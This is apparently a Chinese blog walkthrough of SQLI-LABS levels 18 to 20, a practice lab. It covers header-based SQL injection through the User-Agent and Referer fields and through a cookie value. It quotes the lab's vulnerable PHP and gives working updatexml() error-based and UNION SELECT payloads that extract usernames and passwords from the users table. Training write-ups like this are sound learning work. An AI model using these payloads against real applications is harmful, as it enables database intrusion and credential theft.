当前位置:网站首页>SQLI-LABS通关(less18-less20)
SQLI-LABS通关(less18-less20)
2022-07-02 06:23:00 【徐记荣】
less-18
USER_AGENT
REMOTE_ADDR
less-19
less-20
setcookie()
header()
date()
less-18
标题:POST - Header injection - Uagent field Error based
http头部报错注入
源码不全贴了,自己打开自己看,只贴部分
$uname = check_input($con1, $_POST['uname']);
$passwd = check_input($con1, $_POST['passwd']);
name和password可以按之前的方式去测,但是人家是对此处做了转义和限制长度的
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
获取请求包里两个值
一个是
USER_AGENT
User-Agent是Http协议中的一部分,属于头域的组成部分,User Agent也简称UA。用较为普通的一点来说,是一种向访问网站提供你所使用的浏览器类型、操作系统及版本、CPU 类型、浏览器渲染引擎、浏览器语言、浏览器插件等信息的标识。UA字符串在每次浏览器 HTTP 请求时发送到服务器!
一个是
REMOTE_ADDR
我查的是获取客户端的IP,但是这里给的好像是服务器的IP,这里我没细琢磨,对我们这里影响不大
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
这是我们的存在注入点的语句,登录成功后,他会向数据库插入下面的数据,属于insert类型的注入
insert类型的注入也是需要配合报错函数updatexml()、extractvalue()、floor()回显信息,保证闭合即可,不过此处的注入点在uagent内
我们修改一下
paylaod
',1,updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password) from users limit 0,1)),1))#
SQL语句
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('',1,updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password) from users limit 0,1)),1))#', '127.0.0.1', 1)
less-19
标题:POST - Header injection Referer field Error based
跟18关一样,不过是Referer 作为insert的值,就这种东西也是要凭感觉,比如name,password要测吗,要测,这种东西还是熟练了,感觉就对了
看源码
$uagent = $_SERVER['HTTP_REFERER'];
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
同样的方法
修改为
payload
',updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password) from users limit 0,1)),0))#
查询语句
INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('',updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password) from users limit 0,1)),0))#', '$IP')
less-20
标题:POST - Cookie injections Uagent filed -error based
源码太长了,只摘部分
if(!isset($_COOKIE['uname']))
对数据包内cookie做一个判断,若不存在则返回登录页面,若存在则不返回
setcookie('uname', $cookee, time()+3600);
setcookie()
setcookie()函数向客户端发送一个HTTP cookie。
什么是cookie自己了解,可结合session、token一起了解。详见:PHP setcookie() 函数
语法:
setcookie(name,value,expire,path,domain,secure)
参数 | 描述 |
---|---|
name | 必需。规定cookie的名称 |
value | 必需。规定cookie的值 |
expire | 可选。规定cookie的过期时间。time()+36002430将设置cookie的过期时间为30天。如果这个参数没有设置,那么cookie将在session结束后(即浏览器关闭时)自动失效 |
path | 可选。规定cookie的服务器路径。如果路径设置为"/“,那么cookie将在整个域名内有效,如果路径设置为”/test/",那么cookie将在test目录下及其所有子目录下有效。默认路径值是cookie所处的当前目录 |
domain | 可选。规定cookie的域名。为了让cookie在example.com的所有子域名中有效,您需要把cookie的域名设置为".example.com"。当您把cookie的域名设置为www.example.com时,cookie仅在www子域名中有效。 |
secure | 可选。规定是否需要在安全的HTTPS连接来传输cookie。如果cookie需要在安全的HTTPS连接下传输,则设置为TRUE。默认是FALSE |
$cookee = $row1['username'];
$cookee的值实际上是数据库查询的用户名,当错cookie传给用户
登录成功后的response包
和下次用户请求时的request包
header ('Location: index.php');
header()
header()函数向客户端发送原始的HTTP报头。
认识到一点很重要,即必须在任何实际的输出被发送之前调用 header() 函数
PHP header() 函数
语法:
header(string,replace,http_response_code)
参数 | 描述 |
---|---|
string | 必需。规定要发送的报头字符串 |
replace | 可选。指示该报头是否替换之前的报头,或添加第二个报头。默认是TRUE(替换)。FALSE(运行相同类型的多个报头) |
http_response_code | 可选。把HTTP响应代码强制为指定的值。 |
跳转页面
header(‘Location:’.$url); //Location和":"之间无空格。
$format = 'D d M Y - H:i:s';
$timestamp = time() + 3600;
date($format, $timestamp)
date()
date()函数可把时间戳格式转化为可读性更好的日期和时间。时间戳是一个字符序列,表示一定的事件发生的日期/时间,详见PHP date() 函数
语法:
string date ( string $format [, int $timestamp ] )
参数 | 描述 |
---|---|
format | 必需。规定时间戳的格式 |
timestamp | 可选。规定时间戳。默认是当前的日期和时间 |
这边就是给你返回一个cookie的过期时间
其他没什么好说的了,我们理一下流程图
大致意思,要是不对,大家可以提反正我也不会改
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
这边是查询语句,单引号字符型的,还是以前的步骤
看一下回显
payload
' union select 1,2,3#
三处回显
paylaod
' union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3#
SELECT * FROM users WHERE username='' union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3#' LIMIT 0,1
拿下
page1这俩是没有东西的
边栏推荐
- flex九宫格布局
- Stress test modification solution
- In depth study of JVM bottom layer (3): garbage collector and memory allocation strategy
- Functions of tensorrt
- 查询GPU时无进程运行,但是显存却被占用了
- The table component specifies the concatenation parallel method
- 工具种草福利帖
- NodeJs - Express 中间件修改 Header: TypeError [ERR_INVALID_CHAR]: Invalid character in header content
- uniapp引入本地字体
- selenium+msedgedriver+edge浏览器安装驱动的坑
猜你喜欢
由於不正常斷電導致的unexpected inconsistency;RUN fsck MANUALLY問題已解决
unittest.TextTestRunner不生成txt测试报告
There is no way to drag the win10 desktop icon (you can select it, open it, delete it, create it, etc., but you can't drag it)
Date time API details
[literature reading and thought notes 13] unprocessing images for learned raw denoising
Unexpected inconsistency caused by abnormal power failure; Run fsck manually problem resolved
Blog directory of zzq -- updated on 20210601
Sentry搭建和使用
In depth study of JVM bottom layer (II): hotspot virtual machine object
apt命令报证书错误 Certificate verification failed: The certificate is NOT trusted
随机推荐
selenium+msedgedriver+edge浏览器安装驱动的坑
Kali latest update Guide
ZZQ的博客目录--更新于20210601
MySQL index
There is no way to drag the win10 desktop icon (you can select it, open it, delete it, create it, etc., but you can't drag it)
flex九宫格布局
20201025 visual studio2019 qt5.14 use of signal and slot functions
Tensorrt command line program
pytest(1) 用例收集规则
js判断数组中对象是否存在某个值
js删除字符串的最后一位
Apt command reports certificate error certificate verification failed: the certificate is not trusted
Latex compilation error I found no \bibstyle &\bibdata &\citation command
js数组的常用的原型方法
CUDA user object
Warp matrix functions in CUDA
Sentry搭建和使用
Cve - 2015 - 1635 (ms15 - 034) réplication de la vulnérabilité d'exécution de code à distance
Win电脑截图黑屏解决办法
js创建一个自定义json数组